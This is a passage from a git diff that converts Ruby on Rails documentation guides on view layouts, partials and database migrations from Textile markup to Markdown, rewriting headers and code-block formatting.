-<erb>
+```erb
<%= stylesheet_link_tag "main", "columns",
:cache => "cache/main/display" %>
-</erb>
+```
-You can even use dynamic paths such as +cache/#{current_site}/main/display+.
+You can even use dynamic paths such as `cache/#{current_site}/main/display`.
-h5. Linking to Images with the +image_tag+
+#### Linking to Images with the `image_tag`
-The +image_tag+ helper builds an HTML +&lt;img /&gt;+ tag to the specified file. By default, files are loaded from +public/images+.
+The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
-WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append +.png+ if no extension was given but Rails 3.0 does not.
+WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append `.png` if no extension was given but Rails 3.0 does not.
-<erb>
+```erb
<%= image_tag "header.png" %>
-</erb>
+```
You can supply a path to the image if you like:
-<erb>
+```erb
<%= image_tag "icons/delete.gif" %>
-</erb>
+```
You can supply a hash of additional HTML options:
-<erb>
+```erb
<%= image_tag "icons/delete.gif", {:height => 45} %>
-</erb>
+```
You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
-<erb>
+```erb
<%= image_tag "home.gif" %>
<%= image_tag "home.gif", :alt => "Home" %>
-</erb>
+```
You can also specify a special size tag, in the format "{width}x{height}":
-<erb>
+```erb
<%= image_tag "home.gif", :size => "50x20" %>
-</erb>
+```
-In addition to the above special tags, you can supply a final hash of standard HTML options, such as +:class+, +:id+ or +:name+:
+In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`:
-<erb>
+```erb
<%= image_tag "home.gif", :alt => "Go Home",
:id => "HomeImage",
:class => "nav_bar" %>
-</erb>
+```
-h5. Linking to Videos with the +video_tag+
+#### Linking to Videos with the `video_tag`
-The +video_tag+ helper builds an HTML 5 +&lt;video&gt;+ tag to the specified file. By default, files are loaded from +public/videos+.
+The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
-<erb>
+```erb
<%= video_tag "movie.ogg" %>
-</erb>
+```
Produces
-<erb>
+```erb
<video src="/videos/movie.ogg" />
-</erb>
+```
-Like an +image_tag+ you can supply a path, either absolute, or relative to the +public/videos+ directory. Additionally you can specify the +:size => "#{width}x#{height}"+ option just like an +image_tag+. Video tags can also have any of the HTML options specified at the end (+id+, +class+ et al).
+Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `:size => "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al).
-The video tag also supports all of the +&lt;video&gt;+ HTML options through the HTML options hash, including:
+The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:
-* +:poster => "image_name.png"+, provides an image to put in place of the video before it starts playing.
-* +:autoplay => true+, starts playing the video on page load.
-* +:loop => true+, loops the video once it gets to the end.
-* +:controls => true+, provides browser supplied controls for the user to interact with the video.
-* +:autobuffer => true+, the video will pre load the file for the user on page load.
+* `:poster => "image_name.png"`, provides an image to put in place of the video before it starts playing.
+* `:autoplay => true`, starts playing the video on page load.
+* `:loop => true`, loops the video once it gets to the end.
+* `:controls => true`, provides browser supplied controls for the user to interact with the video.
+* `:autobuffer => true`, the video will pre load the file for the user on page load.
-You can also specify multiple videos to play by passing an array of videos to the +video_tag+:
+You can also specify multiple videos to play by passing an array of videos to the `video_tag`:
-<erb>
+```erb
<%= video_tag ["trailer.ogg", "movie.ogg"] %>
-</erb>
+```
This will produce:
-<erb>
+```erb
<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
-</erb>
+```
-h5. Linking to Audio Files with the +audio_tag+
+#### Linking to Audio Files with the `audio_tag`
-The +audio_tag+ helper builds an HTML 5 +&lt;audio&gt;+ tag to the specified file. By default, files are loaded from +public/audios+.
+The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
-<erb>
+```erb
<%= audio_tag "music.mp3" %>
-</erb>
+```
You can supply a path to the audio file if you like:
-<erb>
+```erb
<%= audio_tag "music/first_song.mp3" %>
-</erb>
+```
-You can also supply a hash of additional options, such as +:id+, +:class+ etc.
+You can also supply a hash of additional options, such as `:id`, `:class` etc.
-Like the +video_tag+, the +audio_tag+ has special options:
+Like the `video_tag`, the `audio_tag` has special options:
-* +:autoplay => true+, starts playing the audio on page load
-* +:controls => true+, provides browser supplied controls for the user to interact with the audio.
-* +:autobuffer => true+, the audio will pre load the file for the user on page load.
+* `:autoplay => true`, starts playing the audio on page load
+* `:controls => true`, provides browser supplied controls for the user to interact with the audio.
+* `:autobuffer => true`, the audio will pre load the file for the user on page load.
-h4. Understanding +yield+
+### Understanding `yield`
-Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
+Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted:
-<erb>
+```html+erb
<html>
<head>
</head>
@@ -949,11 +953,11 @@ Within the context of a layout, +yield+ identifies a section where content from
<%= yield %>
</body>
</html>
-</erb>
+```
You can also create a layout with multiple yielding regions:
-<erb>
+```html+erb
<html>
<head>
<%= yield :head %>
@@ -962,25 +966,25 @@ You can also create a layout with multiple yielding regions:
<%= yield %>
</body>
</html>
-</erb>
+```
-The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
+The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method.
-h4. Using the +content_for+ Method
+### Using the `content_for` Method
-The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw:
+The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:
-<erb>
+```html+erb
<% content_for :head do %>
<title>A simple page</title>
<% end %>
<p>Hello, Rails!</p>
-</erb>
+```
The result of rendering this page into the supplied layout would be this HTML:
-<erb>
+```html+erb
<html>
<head>
<title>A simple page</title>
@@ -989,35 +993,35 @@ The result of rendering this page into the supplied layout would be this HTML:
<p>Hello, Rails!</p>
</body>
</html>
-</erb>
+```
-The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
+The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
-h4. Using Partials
+### Using Partials
Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-h5. Naming Partials
+#### Naming Partials
-To render a partial as part of a view, you use the +render+ method within the view:
+To render a partial as part of a view, you use the `render` method within the view:
-<ruby>
+```ruby
<%= render "menu" %>
-</ruby>
+```
-This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-<ruby>
+```ruby
<%= render "shared/menu" %>
-</ruby>
+```
-That code will pull in the partial from +app/views/shared/_menu.html.erb+.
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
-h5. Using Partials to Simplify Views
+#### Using Partials to Simplify Views
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-<erb>
+```erb
<%= render "shared/ad_banner" %>
<h1>Products</h1>
@@ -1026,214 +1030,214 @@ One way to use partials is to treat them as the equivalent of subroutines: as a
...
<%= render "shared/footer" %>
-</erb>
+```
-Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
-h5. Partial Layouts
+#### Partial Layouts
A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
-<erb>
+```erb
<%= render :partial => "link_area", :layout => "graybar" %>
-</erb>
+```
-This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
+This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder).
-Also note that explicitly specifying +:partial+ is required when passing additional options such as +:layout+.
+Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`.
-h5. Passing Local Variables
+#### Passing Local Variables
You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
-* +new.html.erb+
-
-<erb>
-<h1>New zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :zone => @zone } %>
-</erb>
-
-* +edit.html.erb+
-
-<erb>
-<h1>Editing zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :zone => @zone } %>
-</erb>
-
-* +_form.html.erb+
-
-<erb>
-<%= form_for(zone) do |f| %>
- <p>
- <b>Zone name</b><br />
- <%= f.text_field :name %>
- </p>
- <p>
- <%= f.submit %>
- </p>
-<% end %>
-</erb>
+* `new.html.erb`
+
+ ```html+erb
+ <h1>New zone</h1>
+ <%= error_messages_for :zone %>
+ <%= render :partial => "form", :locals => { :zone => @zone } %>
+ ```
+
+* `edit.html.erb`
+
+ ```html+erb
+ <h1>Editing zone</h1>
+ <%= error_messages_for :zone %>
+ <%= render :partial => "form", :locals => { :zone => @zone } %>
+ ```
+
+* `_form.html.erb`
+
+ ```html+erb
+ <%= form_for(zone) do |f| %>
+ <p>
+ <b>Zone name</b><br />
+ <%= f.text_field :name %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+ <% end %>
+ ```
Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
-Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
+Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the `:object` option:
-<erb>
+```erb
<%= render :partial => "customer", :object => @new_customer %>
-</erb>
+```
-Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
+Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view.
WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior was deprecated in 2.3 and has been removed in Rails 3.0.
If you have an instance of a model to render into a partial, you can use a shorthand syntax:
-<erb>
+```erb
<%= render @customer %>
-</erb>
+```
-Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it and will pass the local variable +customer+ into the partial which will refer to the +@customer+ instance variable in the parent view.
+Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view.
-h5. Rendering Collections
+#### Rendering Collections
-Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
+Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection:
-* +index.html.erb+
+* `index.html.erb`
-<erb>
-<h1>Products</h1>
-<%= render :partial => "product", :collection => @products %>
-</erb>
+ ```html+erb
+ <h1>Products</h1>
+ <%= render :partial => "product", :collection => @products %>
+ ```
-* +_product.html.erb+
+* `_product.html.erb`
-<erb>
-<p>Product Name: <%= product.name %></p>
-</erb>
+ ```html+erb
+ <p>Product Name: <%= product.name %></p>
+ ```
-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.
-In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a collection of +product+ instances, you can simply write this in the +index.html.erb+ to produce the same result:
+In Rails 3.0, there is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:
-<erb>
+```html+erb
<h1>Products</h1>
<%= render @products %>
-</erb>
+```
Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
-* +index.html.erb+
+* `index.html.erb`
-<erb>
-<h1>Contacts</h1>
-<%= render [customer1, employee1, customer2, employee2] %>
-</erb>
+ ```html+erb
+ <h1>Contacts</h1>
+ <%= render [customer1, employee1, customer2, employee2] %>
+ ```
-* +customers/_customer.html.erb+
+* `customers/_customer.html.erb`
-<erb>
-<p>Customer: <%= customer.name %></p>
-</erb>
+ ```html+erb
+ <p>Customer: <%= customer.name %></p>
+ ```
-* +employees/_employee.html.erb+
+* `employees/_employee.html.erb`
-<erb>
-<p>Employee: <%= employee.name %></p>
-</erb>
+ ```html+erb
+ <p>Employee: <%= employee.name %></p>
+ ```
In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
-In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content.
+In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content.
-<erb>
+```html+erb
<h1>Products</h1>
<%= render(@products) || "There are no products available." %>
-</erb>
+```
-h5. Local Variables
+#### Local Variables
-To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
+To use a custom local variable name within the partial, specify the `:as` option in the call to the partial:
-<erb>
+```erb
<%= render :partial => "product", :collection => @products, :as => :item %>
-</erb>
+```
-With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial.
+With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial.
-You can also pass in arbitrary local variables to any partial you are rendering with the +:locals => {}+ option:
+You can also pass in arbitrary local variables to any partial you are rendering with the `:locals => {}` option:
-<erb>
+```erb
<%= render :partial => "products", :collection => @products,
:as => :item, :locals => {:title => "Products Page"} %>
-</erb>
+```
-Would render a partial +_products.html.erb+ once for each instance of +product+ in the +@products+ instance variable passing the instance to the partial as a local variable called +item+ and to each partial, make the local variable +title+ available with the value +Products Page+.
+Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`.
-TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering +@products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered. This does not work in conjunction with the +:as => :value+ option.
+TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `:as => :value` option.
-You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
-h5. Spacer Templates
+#### Spacer Templates
-<erb>
+```erb
<%= render :partial => @products, :spacer_template => "product_ruler" %>
-</erb>
+```
-Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
+Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials.
-h5. Partial Layouts
+#### Collection Partial Layouts
-When rendering collections it is also possible to use the +:layout+ option:
+When rendering collections it is also possible to use the `:layout` option:
-<erb>
+```erb
<%= render :partial => "product", :collection => @products, :layout => "special_layout" %>
-</erb>
+```
The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial.
-h4. Using Nested Layouts
+### Using Nested Layouts
You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
-Suppose you have the following +ApplicationController+ layout:
-
-* +app/views/layouts/application.html.erb+
-
-<erb>
-<html>
-<head>
- <title><%= @page_title or "Page Title" %></title>
- <%= stylesheet_link_tag "layout" %>
- <style><%= yield :stylesheets %></style>
-</head>
-<body>
- <div id="top_menu">Top menu items here</div>
- <div id="menu">Menu items here</div>
- <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
-</body>
-</html>
-</erb>
-
-On pages generated by +NewsController+, you want to hide the top menu and add a right menu:
-
-* +app/views/layouts/news.html.erb+
-
-<erb>
-<% content_for :stylesheets do %>
- #top_menu {display: none}
- #right_menu {float: right; background-color: yellow; color: black}
-<% end %>
-<% content_for :content do %>
- <div id="right_menu">Right menu items here</div>
- <%= content_for?(:news_content) ? yield(:news_content) : yield %>
-<% end %>
-<%= render :template => "layouts/application" %>
-</erb>
+Suppose you have the following `ApplicationController` layout:
+
+* `app/views/layouts/application.html.erb`
+
+ ```html+erb
+ <html>
+ <head>
+ <title><%= @page_title or "Page Title" %></title>
+ <%= stylesheet_link_tag "layout" %>
+ <style><%= yield :stylesheets %></style>
+ </head>
+ <body>
+ <div id="top_menu">Top menu items here</div>
+ <div id="menu">Menu items here</div>
+ <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
+ </body>
+ </html>
+ ```
+
+On pages generated by `NewsController`, you want to hide the top menu and add a right menu:
+
+* `app/views/layouts/news.html.erb`
+
+ ```html+erb
+ <% content_for :stylesheets do %>
+ #top_menu {display: none}
+ #right_menu {float: right; background-color: yellow; color: black}
+ <% end %>
+ <% content_for :content do %>
+ <div id="right_menu">Right menu items here</div>
+ <%= content_for?(:news_content) ? yield(:news_content) : yield %>
+ <% end %>
+ <%= render :template => "layouts/application" %>
+ ```
That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
-There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+.
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render :template => 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`.
diff --git a/guides/source/migrations.textile b/guides/source/migrations.md
index 06e85e5914..ccbdffc9c7 100644
--- a/guides/source/migrations.textile
+++ b/guides/source/migrations.md
@@ -1,4 +1,5 @@
-h2. Migrations
+Migrations
+==========
Migrations are a convenient way for you to alter your database in a structured
and organized manner. You could edit fragments of SQL by hand but you would then
@@ -7,14 +8,14 @@ You'd also have to keep track of which changes need to be run against the
production machines next time you deploy.
Active Record tracks which migrations have already been run so all you have to
-do is update your source and run +rake db:migrate+. Active Record will work out
-which migrations should be run. Active Record will also update your +db/schema.rb+ file to match the up-to-date structure of your database.
+do is update your source and run `rake db:migrate`. Active Record will work out
+which migrations should be run. Active Record will also update your `db/schema.rb` file to match the up-to-date structure of your database.
Migrations also allow you to describe these transformations using Ruby. The
great thing about this is that (like most of Active Record's functionality) it
is database independent: you don't need to worry about the precise syntax of
-+CREATE TABLE+ any more than you worry about variations on +SELECT *+ (you can
-drop down to raw SQL for database specific features). For example you could use
+`CREATE TABLE` any more than you worry about variations on `SELECT *` (you can
+drop down to raw SQL for database specific features). For example, you could use
SQLite3 in development, but MySQL in production.
In this guide, you'll learn all about migrations including:
@@ -22,16 +23,17 @@ In this guide, you'll learn all about migrations including:
* The generators you can use to create them
* The methods Active Record provides to manipulate your database
* The Rake tasks that manipulate them
-* How they relate to +schema.rb+
+* How they relate to `schema.rb`
-endprologue.
+--------------------------------------------------------------------------------
-h3. Anatomy of a Migration
+Anatomy of a Migration
+----------------------
Before we dive into the details of a migration, here are a few examples of the
sorts of things you can do:
-<ruby>
+```ruby
class CreateProducts < ActiveRecord::Migration
def up
create_table :products do |t|
@@ -46,19 +48,19 @@ class CreateProducts < ActiveRecord::Migration
drop_table :products
end
end
-</ruby>
+```
-This migration adds a table called +products+ with a string column called +name+
-and a text column called +description+. A primary key column called +id+ will
+This migration adds a table called `products` with a string column called `name`
+and a text column called `description`. A primary key column called `id` will
also be added, however since this is the default we do not need to explicitly specify it.
-The timestamp columns +created_at+ and +updated_at+ which Active Record
+The timestamp columns `created_at` and `updated_at` which Active Record
populates automatically will also be added. Reversing this migration is as
simple as dropping the table.
Migrations are not limited to changing the schema. You can also use them to fix
bad data in the database or populate new fields:
-<ruby>
+```ruby
class AddReceiveNewsletterToUsers < ActiveRecord::Migration
def up
change_table :users do |t|
@@ -71,24 +73,24 @@ class AddReceiveNewsletterToUsers < ActiveRecord::Migration
remove_column :users, :receive_newsletter
end
end
-</ruby>
+```
-NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in
+NOTE: Some [caveats](#using-models-in-your-migrations) apply to using models in
your migrations.
-This migration adds a +receive_newsletter+ column to the +users+ table. We want
-it to default to +false+ for new users, but existing users are considered to
-have already opted in, so we use the User model to set the flag to +true+ for
+This migration adds a `receive_newsletter` column to the `users` table. We want
+it to default to `false` for new users, but existing users are considered to
+have already opted in, so we use the User model to set the flag to `true` for
existing users.
-h4. Using the change method
+### Using the change method
-Rails 3.1 makes migrations smarter by providing a new <tt>change</tt> method.
+Rails 3.1 makes migrations smarter by providing a new `change` method.
This method is preferred for writing constructive migrations (adding columns or
tables). The migration knows how to migrate your database and reverse it when
-the migration is rolled back without the need to write a separate +down+ method.
+the migration is rolled back without the need to write a separate `down` method.
-<ruby>
+```ruby
class CreateProducts < ActiveRecord::Migration
def change
create_table :products do |t|
@@ -99,34 +101,34 @@ class CreateProducts < ActiveRecord::Migration
end
end
end
-</ruby>
+```
-h4. Migrations are Classes
+### Migrations are Classes
-A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements
-two methods: +up+ (perform the required transformations) and +down+ (revert
+A migration is a subclass of `ActiveRecord::Migration` that implements
+two methods: `up` (perform the required transformations) and `down` (revert
them).
Active Record provides methods that perform common data definition tasks in a
database independent way (you'll read about them in detail later):
-* +add_column+
-* +add_reference+
-* +add_index+
-* +change_column+
-* +change_table+
-* +create_table+
-* +create_join_table+
-* +drop_table+
-* +remove_column+
-* +remove_index+
-* +rename_column+
-* +remove_reference+
-
-If you need to perform tasks specific to your database (for example create a
-"foreign key":#active-record-and-referential-integrity constraint) then the
-+execute+ method allows you to execute arbitrary SQL. A migration is just a
-regular Ruby class so you're not limited to these functions. For example after
+* `add_column`
+* `add_reference`
+* `add_index`
+* `change_column`
+* `change_table`
+* `create_table`
+* `create_join_table`
+* `drop_table`
+* `remove_column`
+* `remove_index`
+* `rename_column`
+* `remove_reference`
+
+If you need to perform tasks specific to your database (e.g., create a
+[foreign key](#active-record-and-referential-integrity) constraint) then the
+`execute` method allows you to execute arbitrary SQL. A migration is just a
+regular Ruby class so you're not limited to these functions. For example, after
adding a column you could write code to set the value of that column for
existing records (if necessary using your models).
@@ -136,17 +138,17 @@ database does not support this (for example MySQL) then when a migration fails
the parts of it that succeeded will not be rolled back. You will have to rollback
the changes that were made by hand.
-h4. What's in a Name
+### What's in a Name
-Migrations are stored as files in the +db/migrate+ directory, one for each
+Migrations are stored as files in the `db/migrate` directory, one for each
migration class. The name of the file is of the form
-+YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp
+`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp
identifying the migration followed by an underscore followed by the name
of the migration. The name of the migration class (CamelCased version)
should match the latter part of the file name. For example
-+20080906120000_create_products.rb+ should define class +CreateProducts+ and
-+20080906120001_add_details_to_products.rb+ should define
-+AddDetailsToProducts+. If you do feel the need to change the file name then you
+`20080906120000_create_products.rb` should define class `CreateProducts` and
+`20080906120001_add_details_to_products.rb` should define
+`AddDetailsToProducts`. If you do feel the need to change the file name then you
<em>have to</em> update the name of the class inside or Rails will complain
about a missing class.
@@ -156,33 +158,33 @@ each time a migration was generated. With multiple developers it was easy for
these to clash requiring you to rollback migrations and renumber them. With
Rails 2.1+ this is largely avoided by using the creation time of the migration
to identify them. You can revert to the old numbering scheme by adding the
-following line to +config/application.rb+.
+following line to `config/application.rb`.
-<ruby>
+```ruby
config.active_record.timestamped_migrations = false
-</ruby>
+```
The combination of timestamps and recording which migrations have been run
allows Rails to handle common situations that occur with multiple developers.
-For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob
-adds +20080906124500+ and runs it. Alice finishes her changes and checks in her
-migrations and Bob pulls down the latest changes. When Bob runs +rake db:migrate+,
-Rails knows that it has not run Alice's two migrations so it executes the +up+ method for each migration.
+For example, Alice adds migrations `20080906120000` and `20080906123000` and Bob
+adds `20080906124500` and runs it. Alice finishes her changes and checks in her
+migrations and Bob pulls down the latest changes. When Bob runs `rake db:migrate`,
+Rails knows that it has not run Alice's two migrations so it executes the `up` method for each migration.
Of course this is no substitution for communication within the team. For
example, if Alice's migration removed a table that Bob's migration assumed to
exist, then trouble would certainly strike.
-h4. Changing Migrations
+### Changing Migrations
Occasionally you will make a mistake when writing a migration. If you have
already run the migration then you cannot just edit the migration and run the
migration again: Rails thinks it has already run the migration and so will do
-nothing when you run +rake db:migrate+. You must rollback the migration (for
-example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version.
+nothing when you run `rake db:migrate`. You must rollback the migration (for
+example with `rake db:rollback`), edit your migration and then run `rake db:migrate` to run the corrected version.
-In general editing existing migrations is not a good idea: you will be creating
+In general, editing existing migrations is not a good idea. You will be creating
extra work for yourself and your co-workers and cause major headaches if the
existing version of the migration has already been run on production machines.
Instead, you should write a new migration that performs the changes you require.
@@ -190,52 +192,52 @@ Editing a freshly generated migration that has not yet been committed to source
control (or, more generally, which has not been propagated beyond your
development machine) is relatively harmless.
-h4. Supported Types
+### Supported Types
Active Record supports the following database column types:
-* +:binary+
-* +:boolean+
-* +:date+
-* +:datetime+
-* +:decimal+
-* +:float+
-* +:integer+
-* +:primary_key+
-* +:string+
-* +:text+
-* +:time+
-* +:timestamp+
+* `:binary`
+* `:boolean`
+* `:date`
+* `:datetime`
+* `:decimal`
+* `:float`
+* `:integer`
+* `:primary_key`
+* `:string`
+* `:text`
+* `:time`
+* `:timestamp`
These will be mapped onto an appropriate underlying database type. For example,
-with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create
-columns of types not supported by Active Record when using the non-sexy syntax,
-for example
+with MySQL the type `:string` is mapped to `VARCHAR(255)`. You can create
+columns of types not supported by Active Record when using the non-sexy syntax such as
-<ruby>
+```ruby
create_table :products do |t|
t.column :name, 'polygon', :null => false
end
-</ruby>
+```
This may however hinder portability to other databases.
-h3. Creating a Migration
+Creating a Migration
+--------------------
-h4. Creating a Model
+### Creating a Model
The model and scaffold generators will create migrations appropriate for adding
a new model. This migration will already contain instructions for creating the
relevant table. If you tell Rails what columns you want, then statements for
adding these columns will also be created. For example, running
-<shell>
+```bash
$ rails generate model Product name:string description:text
-</shell>
+```
will create a migration that looks like this
-<ruby>
+```ruby
class CreateProducts < ActiveRecord::Migration
def change
create_table :products do |t|
@@ -246,58 +248,58 @@ class CreateProducts < ActiveRecord::Migration
end
end
end
-</ruby>
+```
You can append as many column name/type pairs as you want. By default, the
-generated migration will include +t.timestamps+ (which creates the
-+updated_at+ and +created_at+ columns that are automatically populated
+generated migration will include `t.timestamps` (which creates the
+`updated_at` and `created_at` columns that are automatically populated
by Active Record).
-h4. Creating a Standalone Migration
+### Creating a Standalone Migration
-If you are creating migrations for other purposes (for example to add a column
+If you are creating migrations for other purposes (e.g., to add a column
to an existing table) then you can also use the migration generator:
-<shell>
+```bash
$ rails generate migration AddPartNumberToProducts
-</shell>
+```
This will create an empty but appropriately named migration:
-<ruby>
+```ruby
class AddPartNumberToProducts < ActiveRecord::Migration
def change
end
end
-</ruby>
+```
If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
followed by a list of column names and types then a migration containing the
-appropriate +add_column+ and +remove_column+ statements will be created.
+appropriate `add_column` and `remove_column` statements will be created.
-<shell>
+```bash
$ rails generate migration AddPartNumberToProducts part_number:string
-</shell>
+```
will generate
-<ruby>
+```ruby
class AddPartNumberToProducts < ActiveRecord::Migration
def change
add_column :products, :part_number, :string
end
end
-</ruby>
+```
Similarly,
-<shell>
+```bash
$ rails generate migration RemovePartNumberFromProducts part_number:string
-</shell>
+```
generates
-<ruby>
+```ruby
class RemovePartNumberFromProducts < ActiveRecord::Migration
def up
remove_column :products, :part_number
@@ -307,278 +309,279 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration
add_column :products, :part_number, :string
end
end
-</ruby>
+```
-You are not limited to one magically generated column, for example
+You are not limited to one magically generated column. For example
-<shell>
+```bash
$ rails generate migration AddDetailsToProducts part_number:string price:decimal
-</shell>
+```
generates
-<ruby>
+```ruby
class AddDetailsToProducts < ActiveRecord::Migration
def change
add_column :products, :part_number, :string
add_column :products, :price, :decimal
end
end
-</ruby>
+```
As always, what has been generated for you is just a starting point. You can add
or remove from it as you see fit by editing the
db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file.
NOTE: The generated migration file for destructive migrations will still be
